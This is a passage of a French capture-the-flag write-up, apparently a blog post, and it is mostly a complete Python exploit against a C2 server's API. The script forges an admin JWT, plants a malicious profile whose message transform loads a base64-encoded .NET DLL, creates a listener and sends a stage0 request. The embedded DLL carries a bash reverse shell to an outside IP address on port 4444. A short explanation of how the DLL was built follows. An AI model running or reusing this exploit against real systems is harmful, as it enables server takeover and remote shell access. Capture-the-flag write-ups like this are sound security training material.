AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
          dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEUvcWMAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAsicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGAnAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAoJgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACUJwAAAAAAAEgAAAACAAUAcCAAALgFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGYCKA4AAAoAAHIBAABwcgsAAHAoDwAACiYqCgAqAAAAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAzAEAACN+AAA4AgAAIAIAACNTdHJpbmdzAAAAAFgEAACIAAAAI1VTAOAEAAAQAAAAI0dVSUQAAADwBAAAyAAAACNCbG9iAAAAAAAAAAIAAAFHFQAACQAAAAD6ATMAFgAAAQAAABAAAAACAAAAAgAAAAEAAAAPAAAADQAAAAEAAAACAAAAAABxAQEAAAAAAAYA5gDWAQYAUwHWAQYAMwCkAQ8A9gEAAAYAWwCMAQYAyQCMAQYAqgCMAQYAOgGMAQYABgGMAQYAHwGMAQYAcgCMAQYARwC3AQYAJQC3AQYAjQCMAQYAEgKAAQoACgKkAQAAAAAIAAAAAAABAAEAAQAQAAEAEQA9AAEAAQBQIAAAAACGGJ4BBgABAGogAAAAAIYAhwEqAAEAAAABAAUCCQCeAQEAEQCeAQYAGQCeAQoAKQCeARAAMQCeARAAOQCeARAAQQCeARAASQCeARAAUQCeARAAWQCeARAAYQCeARUAaQCeARAAcQCeARAAeQCeAQYAgQAZAhoALgALADAALgATADkALgAbAFgALgAjAGEALgArAHEALgAzAHEALgA7AHEALgBDAGEALgBLAHcALgBTAHEALgBbAHEALgBjAI8ALgBrALkABIAAAAEAAAAAAAAAAAAAAAAAEQAAAAIAAAAAAAAAAAAAACEAHAAAAAAAAgAAAAAAAAAAAAAAIQCAAQAAAAAAAABDbGFzczEAPE1vZHVsZT4ARXhhbXBsZURMTABtc2NvcmxpYgBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4YW1wbGVETEwuZGxsAFN5c3RlbQBNYWluAFN5c3RlbS5SZWZsZWN0aW9uAC5jdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFByb2Nlc3MAT2JqZWN0AFN0YXJ0AAAACWIAYQBzAGgAAHstAGMAIAAiAGIAYQBzAGgAIAAtAGMAIAAnAGUAeABlAGMAIABiAGEAcwBoACAALQBpACAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
          payload = """public static class MessageTransform {
            public static string Transform(byte[] bytes) {
                try {
                string assemblyBase64 = "%s";
                var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
                var assembly = System.Reflection.Assembly.Load(assemblyBytes);
                foreach (var type in assembly.GetTypes()) {
                    object instance = System.Activator.CreateInstance(type);
                    object[] args = new object[] { new string[] { "" } };
                    try {
                    type.GetMethod("Main").Invoke(instance, args);
                    }
                    catch {}
                }
                }
                catch {}
                return System.Convert.ToBase64String(bytes);
            }
    
            public static byte[] Invert(string str) {
                return System.Convert.FromBase64String(str);
            }
        }""" % dll
          return payload
        def read_listener_type(self,name : str) -> str:
          response1 = requests.get("%s/api/listeners/types" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
          listners_types = response1.json()
          for listener_type in listners_types:
            if listener_type['name'].lower() == name.lower():
              return listener_type['id']
    
        def upload_profile(self) -> int:
    
            id =random.randint(6000,8000)
            name = randomhex(4)
            data = {
              'httpUrls': [
                '/en-us/index.html',
                '/en-us/docs.html',
                '/en-us/test.html'
              ],
              'httpRequestHeaders': [
                {'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
                {'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
              ],
              'httpResponseHeaders': [
                {'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
              ],
              'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
              'httpGetResponse': 'salut: {DATA}',
              'httpPostResponse': '{DATA}',
              'id': id,
              'name': "%s" % name,
              'description': 'z3ste',
              'type': 'HTTP',
              'messageTransform': self.generate_transform_payload()
            }
            #  response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
            response2 = requests.post("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
            if response2.status_code != 201:
              print("[!] %sCan't create profile%s" % (Fore.RED,Fore.WHITE))
              sys.exit(0)
            if response2.json()["description"] == "z3st":
              print("[!] %sProfil non créé%s" % (Fore.RED,Fore.WHITE))
              sys.exit(0)
            print("- Profil créé: id=%i / name=%s" % (response2.json()["id"],response2.json()["name"]))
            response1 = requests.get("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
            return id
    
        def create_listener(self,id : int) -> None:
            c2_port = random.randint(8000,8250)
            self.c2_port = c2_port
            name = randomhex(4)
            data = {
              'useSSL': False,
              'urls': [
                self.url
              ],
              'id': 0,
              'name': name,
              'bindAddress': self.ip,
              'bindPort': c2_port,
              'connectAddresses': [
                "%s" % self.ip
              ],
              'connectPort': c2_port,
              'profileId': id,
              'listenerTypeId': self.read_listener_type('HTTP'),
              'status': 'Active',
              'Description':"Z3st"
            }
            #response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)
            response2 = requests.post("%s/api/listeners/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
            try:
              if response2.json()["description"] == "Z3st":
                print("- Listener créé: id=%i / name=%s (%s)" % (response2.json()["id"],response2.json()["name"],response2.json()["urls"][0]))
                return response2.json()["name"]
              else:
                print(response2.text)
                print("[!] %sListener non créé%s" % (Fore.RED,Fore.WHITE))
                sys.exit(0)
            except TypeError:
                print(response2.text)
                print("[!] %sImpossible de creer le listener%s" % (Fore.RED,Fore.WHITE))
                sys.exit(0)
    
        def read_grunt_cfg(self,listener_name):
          data = {
            'id': 0,
            'listenerId': self.read_listener_id(listener_name),
            'implantTemplateId': 1,
            'name': 'Binary',
            'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
            'type': 'binary',
            'dotNetVersion': 'Net35',
            'runtimeIdentifier': 'win_x64',
            'validateCert': True,
            'useCertPinning': True,
            'smbPipeName': 'string',
            'delay': 0,
            'jitterPercent': 0,
            'connectAttempts': 0,
            'launcherString': 'GruntHTTP.exe',
            'outputKind': 'consoleApplication',
            'compressStager': False
          }
    
          # gerenate grunt payload
          response2 = requests.put("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
          if response2.text != "":
            response2 = requests.post("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
    
          if response2.text != "":
            #print(response2.json())
            code = (response2.json()['stagerCode'])
            #print(code)
            aes_key = re.search(".*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);",code).group(1)
            guid_prefix = re.search(".*string\saGUID\s=\s@\"(.*?)\";",code).group(1)
            print("- AES key:  %s" % aes_key)
            print("- GUID:  %s" % guid_prefix)
            return aes_key,guid_prefix
    
    #
        def generate_stage0(self,aes_key, guid):
            headers = {}
            headers['Cookies'] = "ASPSESSIONID=%s; SESSIONID=1552332971750" % guid
            headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
    
            message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
            
            #ruby aes.rb --key dazdzadaz --data dzaazdaz
    
            payload = subprocess.check_output(['ruby', 'aes.rb', "--key", aes_key, "--guid", guid])
            payload = payload.replace(b'\n',b'')        
    
      
            time.sleep(5)
    
            data = {
                'i' :'a19ea23062db990386a3a478cb89d52e',
                'data' : payload.decode('utf-8'),
                'session' : '75db-99b1-25fe4e9afbe58696-320bea73'
            }
            print(data)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((self.host, self.c2_port))
            REQ_TEMPLATE = """GET /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'])
            sent = s.send(REQ_TEMPLATE.encode("utf-8"))
            content = s.recv(1024)
            if not b"HTTP/1.1 200 OK" in content:
                print(content)
                print("[!] %sErreur lors de la connection%s" % (Fore.RED,Fore.WHITE))
                #sys.exit(0)
            s.close()
            post_data = "i=%s&data=%s&session=%s" % (data['i'],data['data'],data['session'])
            REQ_TEMPLATE = """POST /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'],len(post_data),post_data)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((self.host, self.c2_port))    
            sent = s.send(REQ_TEMPLATE.encode("utf-8"))
            print(s.recv(1024))
            
        
        def read_listener_id(self,name):
          listeners = requests.get("%s/api/listeners" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN})
          if listeners.text != "":
            listeners = listeners.json()
            for listener in listeners:
              if listener['name'] == name:
                return listener['id']
          print("[!] %sImpossible de trouver le listener%s" % (Fore.RED,Fore.WHITE))
          sys.exit(0)    
       
        def exploit(self) -> None:
    
          print("[-] %sRecuperation de la liste des utilisateurs%s" % (Fore.MAGENTA,Fore.WHITE))
          USER_LIST = self.get_user_list()
    
          print("[-] %sGeneration du token admin%s" % (Fore.MAGENTA,Fore.WHITE))
    
          self.ADMIN_NAME = "DGHACK_ADMIN"
          self.ADMIN_ID = USER_LIST[1]["id"]
          print("Choix: %s (%s) "% (self.ADMIN_NAME,self.ADMIN_ID))
          self.ADMIN_TOKEN = self._gen_jwt(self.ADMIN_NAME,self.ADMIN_ID)
          print(" - admin_token=%s" % self.ADMIN_TOKEN)
          time.sleep(2)
          print("[-] %sGeneration du profil malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
          profil_id = self.upload_profile()
          print("[-] %sGeneration du listener malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
          listener_name = self.create_listener(profil_id)
          print("[-] %sRecuperation de la configuration grunt%s" % (Fore.MAGENTA,Fore.WHITE))
          aes_key, guid_prefix = self.read_grunt_cfg(listener_name)
          print("[-] %sStage0%s" % (Fore.MAGENTA,Fore.WHITE))
          self.generate_stage0(aes_key, guid_prefix + randomhex(5))
    
    a = exploit()
    a.exploit()
    

    Il ne nous reste plus qu’à générer une DLL fonctionnelle. Je commence par récupérer la DLL utilisé dans le script ruby, je rajoute mon code de reverse shell bash et je lance, une fois, deux fois, trois fois mais rien n’y fait. Je comprends que c’est un peu plus complexe que ça. En (re)lisant l’article hunting the hunters, je tombe sur un lien vers l’article de Malcom Vetter (ici), puis sur un lien vers son code (ici). Pour plus d’information je vous invite à lire son article.

    Je génère la DLL que j’encode en base64 et je la place dans mon script, et normalement on est bon.

    Et enfin…

    Maintenant que notre script est complet, il suffit de le lancer:

    Laisser un commentaire